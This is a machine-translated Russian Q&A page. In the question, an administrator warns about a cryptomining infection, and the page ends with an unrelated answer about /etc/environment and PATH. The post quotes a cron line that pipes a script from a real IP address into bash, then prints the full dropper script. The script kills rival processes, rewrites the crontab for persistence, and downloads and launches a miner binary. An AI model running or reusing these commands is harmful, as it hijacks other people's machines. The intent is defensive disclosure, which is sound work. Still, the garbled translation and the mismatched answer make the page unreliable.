переменные среды

Присмотритесь к завитушке.

Выполняет команду bash, а имя скрипта bash - logo11.jpg.

curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s

Это всего лишь очень дешевый трюк и не очень сложный. Если вы поместите команду в другой порядок и загрузите файл, команда будет выглядеть примерно так:

ПОЖАЛУЙСТА, БУДЬТЕ КАРЬЮ, НЕ СКАЧИВАЙТЕ ФАЙЛ И ИСПОЛНИТЕ. ЭТО ИНФОРМАЦИОННО

bash -s logo11.jpg

Так что не обманывайте себя окончанием .jpg. Это не простой jpg, это просто текстовый файл с командами followow.

Onvce это в вашем cron, bash просто выполнит этот «Text» -File, который на самом деле является небольшим скриптом bash. Легко, да?

#!/bin/sh
pkill -f suppoie 
pkill -f vlqd
ps aux | grep -vw apache | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w syslogs |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://136.144.175.206:4477/2/logo11.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/sysd http://136.144.175.206:4477/2/sysd
curl -o /var/tmp/apache.cf http://136.144.175.206:4477/2/null.cf
chmod 777 /var/tmp/sysd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sysd -c apache.cf -t `echo $cores` >/dev/null &
fi
sleep 3
echo "running....."

FYI - я отправил по электронной почте интернет-провайдеру, чтобы посмотреть на это, ip все еще жив, а файл все еще доступен для загрузки. Это достойная вещь, и именно поэтому я пишу это. Несколько строк могут помочь другому администратору.

0
задан 10 March 2012 в 17:39

1 ответ

/etc/environment не является скриптом оболочки. Он читается модулем pam_env во время входа в систему, и он не выполняет переменные разложения, он принимает только пары KEY = VALUE. Вместо этого вы можете отредактировать /etc/profile (который является скриптом оболочки) и добавить

PATH=$PATH:$JAVA_HOME:$JRE_HOME:$MAVEN_HOME/bin
3
ответ дан 25 May 2018 в 13:36

Другие вопросы по тегам:

Похожие вопросы: